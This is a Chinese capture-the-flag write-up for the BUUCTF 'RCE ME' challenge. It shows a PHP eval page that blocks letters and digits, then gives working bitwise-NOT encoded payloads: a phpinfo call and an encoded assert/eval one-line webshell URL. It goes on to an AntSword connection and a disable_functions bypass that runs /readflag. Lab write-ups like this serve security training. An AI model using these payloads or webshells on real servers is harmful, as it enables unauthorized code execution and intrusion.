当前位置: 首页 > article >正文

BUUCTF——RCE ME

BUUCTF——RCE ME

进入靶场

在这里插入图片描述

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

一段php代码

代码分析

这段PHP代码实现了一个简单的代码执行功能,但带有一些安全限制:

功能概述

  1. 代码检查是否有GET参数code传入
  2. 如果有code参数,会进行以下检查:
    • 长度不能超过40个字符(否则显示"This is too Long.")
    • 不能包含任何字母数字字符(A-Z, a-z, 0-9)(否则显示"NO.")
  3. 如果通过检查,则使用eval()执行传入的代码
  4. 如果没有code参数,则显示源代码本身

安全限制

  • error_reporting(0) 关闭了错误报告
  • 长度限制:不超过40字符
  • 字符限制:不能包含任何字母和数字
  • 使用@抑制eval()可能产生的错误

潜在利用方式

要在这种限制下执行代码,需要:

  1. 构造不超过40个字符的payload
  2. 完全不使用任何字母和数字
  3. 利用PHP允许的特殊字符和符号

可能的利用技术:

  • 使用异或运算生成所需字符
  • 利用PHP的短标签和特殊符号
  • 使用非字母数字的PHP函数调用方式

根据这段代码构造payload

?code=${~%A0%B8%BA%AB}[%A0]();&%A0=phpinfo

成功访问phpinfo

在这里插入图片描述

细看了一下phpinfo 还以为跟之前的题一样flag在phpinfo里

结果没找到

但是找到了好多禁用函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

在这里插入图片描述

构造一句话木马payload

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["cmd"]))';
$d=urlencode(~$c);
echo $d;?>

在这里插入图片描述

运行代码

将运行结果拼接到url里

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9C%92%9B%DD%A2%D6%D6);

在这里插入图片描述

蚁剑测试连接一下

成功连接

但是读取不了数据

在这里插入图片描述

之前phpinfo看到php版本是php7

直接使用蚁剑插件disable_functions绕过试试

在这里插入图片描述

/readflag

在这里插入图片描述

成功拿到flag

flag{3f829afc-68f8-4f76-8e68-7ee4f8fa10ab}

在这里插入图片描述

http://www.lryc.cn/news/2385942.html

相关文章:

  • clickhouse-1-特性及docker化安装
  • Docker核心笔记
  • log日志最佳实践
  • FreeRTOS--消息队列
  • 三步快速部署一个本地Windows/Linux大语言模型ChatGLM(环境配置+权重下载+运行)
  • 深入解析Spring Boot与Redis的缓存集成实践
  • leetcode105.从中序与前序遍历序列构造二叉树:前序定根与中序分治的递归重建术
  • Python二级考试
  • DeepSeek联网Google搜索引擎
  • 理论物理:为什么在极低温(接近绝对零度)时,经典理论失效?
  • 奈雪小程序任务脚本
  • 上海医日健集团物联网专利技术领跑智慧药房赛道
  • 基于Java+MySQL实现(Web)图书借阅管理系统
  • SAR ADC的功耗设计
  • PP-OCRv5
  • nginx的一些配置的意思
  • Agent模型微调
  • Android-OkHttp与Retrofit学习总结
  • 移远三款主流5G模块RM500U,RM520N,RG200U比较
  • C++引用以及和指针的区别
  • firfox 国外版和国内版本账号不互通问题处理
  • Linux基本指令篇 —— whoami指令
  • 用go从零构建写一个RPC(3)--异步调用+多路复用实现
  • 力扣395做题笔记
  • Python-numpy中常用的统计函数及转换函数
  • 【C语言干货】free细节
  • 网络安全-等级保护(等保) 2-0 等级保护制度现行技术标准
  • WebSocket(看这一篇就够了)
  • 旧物回收小程序:让闲置焕发光彩,为生活增添价值
  • 精益数据分析(73/126):黏性阶段的功能优先级法则——七问决策模型与风险控制